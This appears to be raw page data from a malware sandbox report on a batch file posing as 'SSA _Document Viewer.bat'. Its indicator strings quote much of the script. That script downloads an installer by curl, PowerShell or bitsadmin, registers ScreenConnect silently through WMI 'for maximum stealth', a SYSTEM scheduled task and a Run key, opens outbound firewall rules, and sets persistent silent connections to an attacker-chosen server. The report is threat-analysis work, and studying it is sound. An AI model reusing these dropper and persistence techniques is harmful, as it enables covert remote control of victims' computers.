24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 4f:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4a7,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious CMD:BZC.PZQ.Leopard.1 Sample b82d28bbdc00… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample b82d28bbdc00…. Malware family: CMD:BZC.PZQ.Leopard.1. Threat score 100/100. 5/26 AV engines flagged this file. 5 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/b82d28bbdc0012d2ca01005b9d152ad6b53c29c0f6dd9a3896f8c32086b3870d","keywords":["Malicious","CMD:BZC.PZQ.Leopard.1","malware analysis","sandbox report","threat intelligence","b82d28bbdc0012d2ca01005b9d152ad6b53c29c0f6dd9a3896f8c32086b3870d"],"about":{"@type":"SoftwareApplication","name":"SSA _Document Viewer.bat","applicationCategory":["script","bat"],"identifier":"b82d28bbdc0012d2ca01005b9d152ad6b53c29c0f6dd9a3896f8c32086b3870d","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"CMD:BZC.PZQ.Leopard.1","antivirusDetections":{"malicious":5,"total":26},"behavioralIndicators":{"malicious":5,"suspicious":11},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T436,"exe" -register >nul 2>&1 timeout /t 5 /nobreak >nul ) :: Method 3: Main client executable if exist "%SC_DIR%ScreenConnect.Client.exe" ( start "" /B "%SC_DIR%ScreenConnect.Client.exe" -register >nul 2>&1 timeout /t 5 /nobreak >nul ) :: Method 4: PowerShell with hidden window powershell -Command "Start-Process -FilePath '%SC_DIR%ScreenConnect.ClientService.exe' -ArgumentList '-register' -WindowStyle Hidden -ErrorAction SilentlyContinue" >nul 2>&1 timeout /t 5 /nobreak >nul :: Method 5: WMI process creation for maximum stealth powershell -Command "Invoke-WmiMethod -Path win32_process -Name create -ArgumentList '%SC_DIR%ScreenConnect.ClientService.exe -register' -ErrorAction SilentlyContinue" >nul 2>&1 :: Method 6: Scheduled task for persistent registration (Windows 10+) if %IS_WINDOWS_10_OR_LATER% equ 1 ( schtasks /create /tn "ScreenConnect Registration" /tr "'%SC_DIR%ScreenConnect.ClientService.exe' -register" /sc on" (Indicator: " win32_process"; Source: "sample.bin")26:Tccd,Observed string: "ng >> "%LOG_FILE%" set "PROCESS_RUNNING=1" ) else ( tasklist /FI "IMAGENAME eq ScreenConnect.Client.exe" 2>nul | find /i "ScreenConnect.Client.exe" >nul if errorlevel 0 ( echo [%DATE% %TIME%] ScreenConnect.Client.exe is running >> "%LOG_FILE%" set "PROCESS_RUNNING=1" ) ) ) if %PROCESS_RUNNING% equ 0 ( echo [%DATE% %TIME%] WARNING: No ScreenConnect process found running >> "%LOG_FILE%" echo [%DATE% %TIME%] Attempting service restart... >> "%LOG_FILE%" net start "ScreenConnect Client Service" >nul 2>&1 timeout /t 10 /nobreak >nul :: Re-check after restart tasklist /FI "IMAGENAME eq ScreenConnect.ClientService.exe" 2>nul | find /i "ScreenConnect.ClientService.exe" >nul if errorlevel 0 ( echo [%DATE% %TIME%] ScreenConnect process successfully restarted >> "%LOG_FILE%" set "PROCESS_RUNNING=1" ) ) :: Check service status echo [%DATE% %TIME%] Checking service status... >> "%LOG_FILE%" sc query "ScreenCon" (Indicator: " tasklist ") in Source: sample.bin, Observed string: "tion_loop set /a REGISTRATION_WAIT+=1 if %REGISTRATION_WAIT% gtr 24 ( echo [%DATE% %TIME%] Registration wait completed (360 seconds total) >> "%LOG_FILE%" goto :registration_done ) timeout /t 15 /nobreak >nul echo [%DATE% %TIME%] Registration progress: %REGISTRATION_WAIT%/24 intervals completed >> "%LOG_FILE%" :: Check if process is still running during wait tasklist /FI "IMAGENAME eq ScreenConnect.ClientService.exe" 2>nul | find /i "ScreenConnect.ClientService.exe" >nul if errorlevel 0 ( echo [%DATE% %TIME%] ScreenConnect process still running during registration >> "%LOG_FILE%" ) else ( tasklist /FI "IMAGENAME eq ScreenConnect.WindowsClient.exe" 2>nul | find /i "ScreenConnect.WindowsClient.exe" >nul if errorlevel 0 ( echo [%DATE% %TIME%] ScreenConnect process still running during registration >> "%LOG_FILE%" ) else ( echo [%DATE% %TIME%] WARNING: ScreenConnect process not running, attempting restart... >> "%LOG_FILE%" :: Try to restart the service net" (Indicator: " tasklist ") in Source: sample.bin, Observed string: "o [%DATE% %TIME%] Performing service health monitoring... >> "%LOG_FILE%" sc query "ScreenConnect Client Service" | find "RUNNING" >nul 2>&1 if errorlevel 0 ( echo [%DATE% %TIME%] ScreenConnect Client Service is running >> "%LOG_FILE%" set "SERVICE_HEALTH_GOOD=1" ) else ( echo [%DATE% %TIME%] WARNING: ScreenConnect Client Service may not be running properly >> "%LOG_FILE%" ) :: Final comprehensive verification echo [%DATE% %TIME%] Performing final comprehensive verification... >> "%LOG_FILE%" :: Check process status set "PROCESS_RUNNING=0" tasklist /FI "IMAGENAME eq ScreenConnect.ClientService.exe" 2>nul | find /i "ScreenConnect.ClientService.exe" >nul if errorlevel 0 ( echo [%DATE% %TIME%] ScreenConnect.ClientService.exe is running >> "%LOG_FILE%" set "PROCESS_RUNNING=1" ) else ( tasklist /FI "IMAGENAME eq ScreenConnect.WindowsClient.exe" 2>nul | find /i "ScreenConnect.WindowsClient.exe" >nul if errorlevel 0 ( echo [%DATE% %TIME%] ScreenConnect.WindowsClient.exe is runni" (Indicator: " tasklist ") in Source: sample.bin27:T452,"gram Files\ScreenConnect\ScreenConnect.ClientService.exe" ( set "COMPONENTS_INSTALLED=1" echo [%DATE% %TIME%] Client service component found >> "%LOG_FILE%" ) :: Check 2: Registry uninstall entries (primary verification) echo [%DATE% %TIME%] Checking uninstall registry entries... >> "%LOG_FILE%" set "UNINSTALL_FOUND=0" set "UNINSTALL_GUID=" :: Check 64-bit registry for /f "tokens=*" %%A in ('reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s /f "ScreenConnect" 2^>nul ^| findstr "HKEY_LOCAL_MACHINE"') do ( set "UNINSTALL_GUID=%%A" set "UNINSTALL_FOUND=1" set "INSTALLATION_SUCCESS=1" echo [%DATE% %TIME%] ScreenConnect found in HKLM uninstall registry: %%A >> "%LOG_FILE%" ) :: Check 32-bit registry on 64-bit systems if %UNINSTALL_FOUND% equ 0 ( for /f "tokens=*" %%A in ('reg query "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" /s /f "ScreenConnect" 2^>nul ^| findstr "HKEY_LOCAL_MACHINE"') do ( set "UNINSTALL_GUID=%%A" set" (Indicator: "microsoft\windows\currentversion\uninstall") in Source: sample.bin28:T465,Found string "ce /st 00:00 /ru SYSTEM /rl HIGHEST /f >nul 2>&1 schtasks /run /tn "ScreenConnect Registration" >nul 2>&1 timeout /t 5 /nobreak >nul schtasks /delete /tn "ScreenConnect Registration" /f >nul 2>&1 echo [%DATE% %TIME%] Scheduled task registration method used >> "%LOG_FILE%" ) :: Method 7: Registry-based auto-start for registration reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ScreenConnectReg" /t REG_SZ /d "\"%SC_DIR%ScreenConnect.ClientService.exe\" -register" /f >> "%LOG_FILE%" 2>&1 timeout /t 3 /nobreak >nul reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ScreenConnectReg" /f >nul 2>&1 ) echo [%DATE% %TIME%] Advanced registration triggers completed >> "%LOG_FILE%" :: Extended wait for server registration with progress echo [%DATE% %TIME%] Waiting for server registration... >> "%LOG_FILE%" echo [%DATE% %TIME%] This may take 5-6 minutes for initial registration... >> "%LOG_FILE%" set REGISTRATION_WAIT=0 :registra" (Indicator: "software\microsoft\windows\currentversion\run"; in Source: "sample.bin")29:T24e8,"ce /st 00:00 /ru SYSTEM /rl HIGHEST /f >nul 2>&1 schtasks /run /tn "ScreenConnect Registration" >nul 2>&1 timeout /t 5 /nobreak >nul schtasks /delete /tn "ScreenConnect Registration" /f >nul 2>&1 echo [%DATE% %TIME%] Scheduled task registration method used >> "%LOG_FILE%" ) :: Method 7: Registry-based auto-start for registration reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ScreenConnectReg" /t REG_SZ /d "\"%SC_DIR%ScreenConnect.ClientService.exe\" -register" /f >> "%LOG_FILE%" 2>&1 timeout /t 3 /nobreak >nul reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ScreenConnectReg" /f >nul 2>&1 ) echo [%DATE% %TIME%] Advanced registration triggers completed >> "%LOG_FILE%" :: Extended wait for server registration with progress echo [%DATE% %TIME%] Waiting for server registration... >> "%LOG_FILE%" echo [%DATE% %TIME%] This may take 5-6 minutes for initial registration... >> "%LOG_FILE%" set REGISTRATION_WAIT=0 :registra" in Source: sample.bin, "g add "HKLM\SOFTWARE\WOW6432Node\ScreenConnect" /v "PersistentConnection" /t REG_DWORD /d 1 /f >> "%LOG_FILE%" 2>&1 :: Method 2: Configuration file (if directory found) if defined SC_DIR ( if exist "%SC_DIR%ScreenConnect.Client.config" ( echo [%DATE% %TIME%] Updating existing configuration file... >> "%LOG_FILE%" ) :: Create proper XML configuration file echo ^ > "%SC_DIR%ScreenConnect.Client.config" 2>>"%LOG_FILE%" echo ^ >> "%SC_DIR%ScreenConnect.Client.config" 2>>"%LOG_FILE%" echo ^ >> "%SC_DIR%ScreenConnect.Client.config" 2>>"%LOG_FILE%" echo ^ >> "%SC_DIR%ScreenConnect.Client.config" 2>>"%LOG_FILE%" echo ^ >> "%SC_DIR%ScreenConnect.Client.config" 2>>"%LOG_FILE%" echo ^ >> "%SC_DIR%ScreenConnect.Client.config" 2>>"%LOG_FILE%" echo ^nul | find /i "ScreenConnect.Agent.exe" >nul if errorlevel 0 ( echo [%DATE% %TIME%] ScreenConnect.Agent.exe process detected >> "%LOG_FILE%" goto :process_found ) if %PROCESS_WAIT_COUNT% lss 60 ( goto :wait_process ) echo [%DATE% %TIME%] WARNING: ScreenConnect process not detected after 180 seconds >> "%LOG_FILE%" :process_found :: Find ScreenConnect installation directory echo [%DATE% %TIME%] Locating ScreenConnect installation directory... >> "%LOG_FILE%" set "SC_DIR=" :: Method 1: Registry InstallPath (most reliable) for /f "tokens=2*" %%A in ('reg query "HKLM\SOFTWARE\WOW6432Node\ScreenConnect" /v "InstallPath" 2^>nul') do ( set "SC_DIR=%%B" if exist "!SC_DIR!ScreenConnect.ClientService.exe" ( set "SC_PATH=!SC_DIR!ScreenConnect.ClientService.exe" goto :found_sc ) ) for /f "tokens=2*" %%A in ('reg query "HKLM\SOFTWARE\ScreenConnect" /v "InstallPath" 2^>nul') do ( set "SC_DIR=%%B" if exist "!SC_DIR!ScreenConnect.ClientServic" in Source: sample.bin, "gistry keys for panel reporting reg add "HKLM\SOFTWARE\ScreenConnect" /v "AutoRegister" /t REG_DWORD /d 1 /f >> "%LOG_FILE%" 2>&1 reg add "HKLM\SOFTWARE\WOW6432Node\ScreenConnect" /v "AutoRegister" /t REG_DWORD /d 1 /f >> "%LOG_FILE%" 2>&1 reg add "HKLM\SOFTWARE\ScreenConnect" /v "SilentMode" /t REG_DWORD /d 1 /f >> "%LOG_FILE%" 2>&1 reg add "HKLM\SOFTWARE\WOW6432Node\ScreenConnect" /v "SilentMode" /t REG_DWORD /d 1 /f >> "%LOG_FILE%" 2>&1 reg add "HKLM\SOFTWARE\ScreenConnect" /v "EnableReporting" /t REG_DWORD /d 1 /f >> "%LOG_FILE%" 2>&1 reg add "HKLM\SOFTWARE\WOW6432Node\ScreenConnect" /v "EnableReporting" /t REG_DWORD /d 1 /f >> "%LOG_FILE%" 2>&1 :: Heartbeat mechanism registry keys reg add "HKLM\SOFTWARE\ScreenConnect" /v "HeartbeatInterval" /t REG_DWORD /d 60 /f >> "%LOG_FILE%" 2>&1 reg add "HKLM\SOFTWARE\WOW6432Node\ScreenConnect" /v "HeartbeatInterval" /t REG_DWORD /d 60 /f >> "%LOG_FILE%" 2>&1 reg add "HKLM\SOFTWARE\ScreenConnect" /v "PersistentConnection" /t REG_DWORD /d 1 /f >> "%LOG_FILE%" 2>&1 re" in Source: sample.bin, " "UNINSTALL_FOUND=1" set "INSTALLATION_SUCCESS=1" echo [%DATE% %TIME%] ScreenConnect found in WOW6432Node uninstall registry: %%A >> "%LOG_FILE%" ) ) :: Check 3: ScreenConnect specific registry keys echo [%DATE% %TIME%] Checking ScreenConnect registry keys... >> "%LOG_FILE%" reg query "HKLM\SOFTWARE\ScreenConnect" >nul 2>&1 if errorlevel 0 ( echo [%DATE% %TIME%] ScreenConnect registry key found in HKLM\SOFTWARE\ScreenConnect >> "%LOG_FILE%" set "INSTALLATION_SUCCESS=1" ) else ( reg query "HKLM\SOFTWARE\WOW6432Node\ScreenConnect" >nul 2>&1 if errorlevel 0 ( echo [%DATE% %TIME%] ScreenConnect registry key found in WOW6432Node >> "%LOG_FILE%" set "INSTALLATION_SUCCESS=1" ) ) :: Check 4: Program Files installation echo [%DATE% %TIME%] Checking Program Files installation... >> "%LOG_FILE%" set "INSTALL_FOUND=0" if exist "C:\Program Files (x86)\ScreenConnect" ( echo [%DATE% %TIME%] ScreenConnect found in Program Files (x86) >> "%LOG_FILE%" set "INST" in Source: sample.bin, "nect Client Service" >> "%LOG_FILE%" 2>&1 sc query "ScreenConnect Client" >> "%LOG_FILE%" 2>&1 sc query "ScreenConnectService" >> "%LOG_FILE%" 2>&1 :: Verify registry configuration is intact echo [%DATE% %TIME%] Verifying registry configuration... >> "%LOG_FILE%" reg query "HKLM\SOFTWARE\ScreenConnect" /s >> "%LOG_FILE%" 2>&1 reg query "HKLM\SOFTWARE\WOW6432Node\ScreenConnect" /s >> "%LOG_FILE%" 2>&1 :: Verify configuration files if defined SC_DIR ( if exist "%SC_DIR%ScreenConnect.Client.config" ( echo [%DATE% %TIME%] Configuration file exists and is accessible >> "%LOG_FILE%" ) ) :: Installation validation and health checks echo [%DATE% %TIME%] Performing installation validation and health checks... >> "%LOG_FILE%" :: Validate uninstall registry if %UNINSTALL_FOUND% equ 1 ( echo [%DATE% %TIME%] Uninstall registry validation: PASSED >> "%LOG_FILE%" ) else ( echo [%DATE% %TIME%] Uninstall registry validation: FAILED >> "%LOG_FILE%" ) :: Validate service health if %SERVICE_HEALTH_GO" in Source: sample.bin, " locate ScreenConnect installation directory >> "%LOG_FILE%" echo [%DATE% %TIME%] Will rely on registry configuration only >> "%LOG_FILE%" ) :: Configure ScreenConnect server connection (multiple methods) echo [%DATE% %TIME%] Configuring ScreenConnect server connection... >> "%LOG_FILE%" :: Method 1: Registry configuration (primary) reg add "HKLM\SOFTWARE\ScreenConnect" /v "ServerAddress" /t REG_SZ /d "%SERVER_ADDRESS%" /f >> "%LOG_FILE%" 2>&1 reg add "HKLM\SOFTWARE\WOW6432Node\ScreenConnect" /v "ServerAddress" /t REG_SZ /d "%SERVER_ADDRESS%" /f >> "%LOG_FILE%" 2>&1 reg add "HKLM\SOFTWARE\ScreenConnect" /v "Host" /t REG_SZ /d "%SERVER_HOST%" /f >> "%LOG_FILE%" 2>&1 reg add "HKLM\SOFTWARE\WOW6432Node\ScreenConnect" /v "Host" /t REG_SZ /d "%SERVER_HOST%" /f >> "%LOG_FILE%" 2>&1 reg add "HKLM\SOFTWARE\ScreenConnect" /v "Port" /t REG_SZ /d "%SERVER_PORT%" /f >> "%LOG_FILE%" 2>&1 reg add "HKLM\SOFTWARE\WOW6432Node\ScreenConnect" /v "Port" /t REG_SZ /d "%SERVER_PORT%" /f >> "%LOG_FILE%" 2>&1 :: Additional re" in Source: sample.bin, "LM\SOFTWARE\ScreenConnect" /v "ServerAddress" >> "%LOG_FILE%" 2>&1 reg query "HKLM\SOFTWARE\ScreenConnect" /v "AutoRegister" >> "%LOG_FILE%" 2>&1 reg query "HKLM\SOFTWARE\ScreenConnect" /v "EnableReporting" >> "%LOG_FILE%" 2>&1 reg query "HKLM\SOFTWARE\ScreenConnect" /v "HeartbeatInterval" >> "%LOG_FILE%" 2>&1 :: Attempt to verify panel connection with heartbeat echo [%DATE% %TIME%] Attempting panel connection verification with heartbeat... >> "%LOG_FILE%" powershell -Command "$ErrorActionPreference='SilentlyContinue'; try { $tcp = New-Object System.Net.Sockets.TcpClient; $tcp.Connect('%SERVER_HOST%', %SERVER_PORT%); $tcp.Close(); 'Panel Connection Verified with Heartbeat' } catch { 'Panel Connection Failed' }" >> "%LOG_FILE%" 2>&1 if errorlevel 0 ( set "PANEL_REPORTING_VERIFIED=1" echo [%DATE% %TIME%] Panel reporting verification: SUCCESSFUL >> "%LOG_FILE%" ) else ( echo [%DATE% %TIME%] Panel reporting verification: ATTEMPTED (may require time) >> "%LOG_FILE%" ) :: Service health monitoring ech" in Source: sample.bin, "gram Files\ScreenConnect\ScreenConnect.ClientService.exe" ( set "COMPONENTS_INSTALLED=1" echo [%DATE% %TIME%] Client service component found >> "%LOG_FILE%" ) :: Check 2: Registry uninstall entries (primary verification) echo [%DATE% %TIME%] Checking uninstall registry entries... >> "%LOG_FILE%" set "UNINSTALL_FOUND=0" set "UNINSTALL_GUID=" :: Check 64-bit registry for /f "tokens=*" %%A in ('reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s /f "ScreenConnect" 2^>nul ^| findstr "HKEY_LOCAL_MACHINE"') do ( set "UNINSTALL_GUID=%%A" set "UNINSTALL_FOUND=1" set "INSTALLATION_SUCCESS=1" echo [%DATE% %TIME%] ScreenConnect found in HKLM uninstall registry: %%A >> "%LOG_FILE%" ) :: Check 32-bit registry on 64-bit systems if %UNINSTALL_FOUND% equ 0 ( for /f "tokens=*" %%A in ('reg query "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" /s /f "ScreenConnect" 2^>nul ^| findstr "HKEY_LOCAL_MACHINE"') do ( set "UNINSTALL_GUID=%%A" set" in Source: sample.bin2a:T1102,Observed string: "l 2>&1 :: Windows 11 specific: Add additional network security rules if %IS_WINDOWS_11_OR_LATER% equ 1 ( netsh advfirewall firewall add rule name="ScreenConnect Network Discovery" dir=out action=allow protocol=TCP enable=yes profile=any >nul 2>&1 netsh advfirewall firewall add rule name="ScreenConnect Heartbeat" dir=out action=allow protocol=TCP localport=%SERVER_PORT% enable=yes profile=any >nul 2>&1 echo [%DATE% %TIME%] Windows 11 specific firewall rules applied >> "%LOG_FILE%" ) echo [%DATE% %TIME%] Enhanced firewall rules configured >> "%LOG_FILE%" ) :: Download with retry logic and multiple methods :download set /a RETRY_COUNT+=1 echo [%DATE% %TIME%] Download attempt %RETRY_COUNT% of %MAX_RETRIES% >> "%LOG_FILE%" :: Try curl first (more reliable for HTTP downloads) if exist "%MSI_FILE%" del "%MSI_FILE%" /q 2>>"%LOG_FILE%" where curl >nul 2>&1 if errorlevel 0 ( curl -s -L -o "%MSI_FILE%" "%DOWNLOAD_URL%" --connect-timeout 300 --max-time 2400 --retry " (Indicator: " curl ") in Source: sample.bin, Observed string: "l 2>&1 :: Windows 11 specific: Add additional network security rules if %IS_WINDOWS_11_OR_LATER% equ 1 ( netsh advfirewall firewall add rule name="ScreenConnect Network Discovery" dir=out action=allow protocol=TCP enable=yes profile=any >nul 2>&1 netsh advfirewall firewall add rule name="ScreenConnect Heartbeat" dir=out action=allow protocol=TCP localport=%SERVER_PORT% enable=yes profile=any >nul 2>&1 echo [%DATE% %TIME%] Windows 11 specific firewall rules applied >> "%LOG_FILE%" ) echo [%DATE% %TIME%] Enhanced firewall rules configured >> "%LOG_FILE%" ) :: Download with retry logic and multiple methods :download set /a RETRY_COUNT+=1 echo [%DATE% %TIME%] Download attempt %RETRY_COUNT% of %MAX_RETRIES% >> "%LOG_FILE%" :: Try curl first (more reliable for HTTP downloads) if exist "%MSI_FILE%" del "%MSI_FILE%" /q 2>>"%LOG_FILE%" where curl >nul 2>&1 if errorlevel 0 ( curl -s -L -o "%MSI_FILE%" "%DOWNLOAD_URL%" --connect-timeout 300 --max-time 2400 --retry " (Indicator: "curl -") in Source: sample.bin, Observed string: "E% %TIME%] PowerShell available: YES >> "%LOG_FILE%" :: Check if curl is available where curl >nul 2>&1 if errorlevel 1 ( echo [%DATE% %TIME%] WARNING: curl not found, will use PowerShell download >> "%LOG_FILE%" ) else ( echo [%DATE% %TIME%] curl available: YES >> "%LOG_FILE%" ) :: Check Windows Installer service sc query "msiserver" >nul 2>&1 if errorlevel 1 ( echo [%DATE% %TIME%] WARNING: Windows Installer service not found, attempting to start... >> "%LOG_FILE%" net start "msiserver" >nul 2>&1 if errorlevel 1 ( echo [%DATE% %TIME%] ERROR: Cannot start Windows Installer service >> "%LOG_FILE%" exit /b 1 ) ) echo [%DATE% %TIME%] Windows Installer service: OK >> "%LOG_FILE%" :: Configure firewall for ScreenConnect (enhanced for Windows 10+) if %IS_WINDOWS_10_OR_LATER% equ 1 ( echo [%DATE% %TIME%] Configuring enhanced firewall rules for ScreenConnect... >> "%LOG_FILE%" :: Remove existing rules to avoid conflicts netsh advfirewall firewall delete rule" (Indicator: " curl ") in Source: sample.bin, Observed string: "12 --retry-delay 25 --retry-max-time 1800 --show-error 2>>"%LOG_FILE%" if errorlevel 0 ( if exist "%MSI_FILE%" ( echo [%DATE% %TIME%] Download successful with curl >> "%LOG_FILE%" goto :download_complete ) ) ) :: Fallback to PowerShell if curl fails or not available echo [%DATE% %TIME%] Trying PowerShell download... >> "%LOG_FILE%" powershell -Command "$ErrorActionPreference='Stop'; $ProgressPreference='SilentlyContinue'; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $client = New-Object System.Net.WebClient; $client.DownloadFile('%DOWNLOAD_URL%', '%MSI_FILE%')" >nul 2>&1 :: Additional fallback using bitsadmin if PowerShell fails if errorlevel 1 ( echo [%DATE% %TIME%] PowerShell failed, trying bitsadmin download... >> "%LOG_FILE%" bitsadmin /transfer ScreenConnectDownload /download /priority normal "%DOWNLOAD_URL%" "%MSI_FILE%" >nul 2>&1 ) if errorlevel 1 ( echo [%DATE% %TIME%] Download attempt %RETRY_COUNT% fail" (Indicator: " curl ") in Source: sample.bin2b:T441,Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00007248.00000000.141465.EED6B000.00000002.mdmp")2c:T536,Found reference to API "ControlServiceEx" (Indicator: "ControlService"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API "ControlService" (Indicator: "ControlService"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API "ChangeServiceConfig2 (delayed autostart flag)" (Indicator: "ChangeServiceConfig"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API "ChangeServiceConfig" (Indicator: "ChangeServiceConfig"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API "ChangeServiceConfig2" (Indicator: "ChangeServiceConfig"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API "ChangeServiceConfigW" (Indicator: "ChangeServiceConfig"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API "ControlServiceExW" (Indicator: "ControlService"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API "ChangeServiceConfig2W" (Indicator: "ChangeServiceConfig"; Source: "00000000-00004504.00000000.140498.2823B000.00000002.mdmp") Found reference to API "ControlService" (Indicator: "ControlService"; Source: "00000000-00007200.00000000.140109.96B80000.00000002.mdmp")2d:T4a0,"netsh.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\PEERDIST\SERVICE") "netsh.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\PEERDIST\SERVICE") "netsh.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\PEERDIST") "netsh.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\PEERDIST\SERVICE") "netsh.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\PEERDIST") "netsh.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\PEERDIST\SERVICE\VERSIONING") "netsh.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\PEERDIST\SERVICE\VERSIONING") "netsh.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\PEERDIST\EXTENSION") "netsh.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\PEERDIST\EXTENSION") "netsh.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\PEERDIST\EXTENSION") "netsh.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\PEERDIST\COOPERATIVECACHING")2e:T5a8,Found string ":\WINDOWS\system32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00000160.00000000.142109.F9690000.00000004.mdmp") Found string ":\WINDOWS\system32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00003164.00000000.140821.8B590000.00000004.mdmp") Found string ":\WINDOWS\system32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00004504.00000000.140498.F89C0000.00000004.mdmp") Found string ":\WINDOWS\system32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00005336.00000000.141787.EA030000.00000004.mdmp") Found string ":\WINDOWS\system32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00005460.00000000.143075.4E430000.00000004.mdmp") Found string ":\WINDOWS\system32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00005776.00000000.141143.BCCC0000.00000004.mdmp") Found string ":\WINDOWS\system32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00006852.00000000.142753.B7D40000.00000004.mdmp") Found string ":\WINDOWS\system32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00007004.00000000.142431.46680000.00000004.mdmp") Found string ":\WINDOWS\system32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00007200.00000000.140109.F4AD0000.00000004.mdmp") Found string ":\WINDOWS\system32\MSVCP140.dll" (Indicator: "\msvcp140.dll"; Source: "00000000-00007248.00000000.141465.CBD60000.00000004.mdmp")2f:T1127,"cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006472) "cmd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006472) "net1.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007200) "cmd.exe" called "RtlGetVersion" with parameter 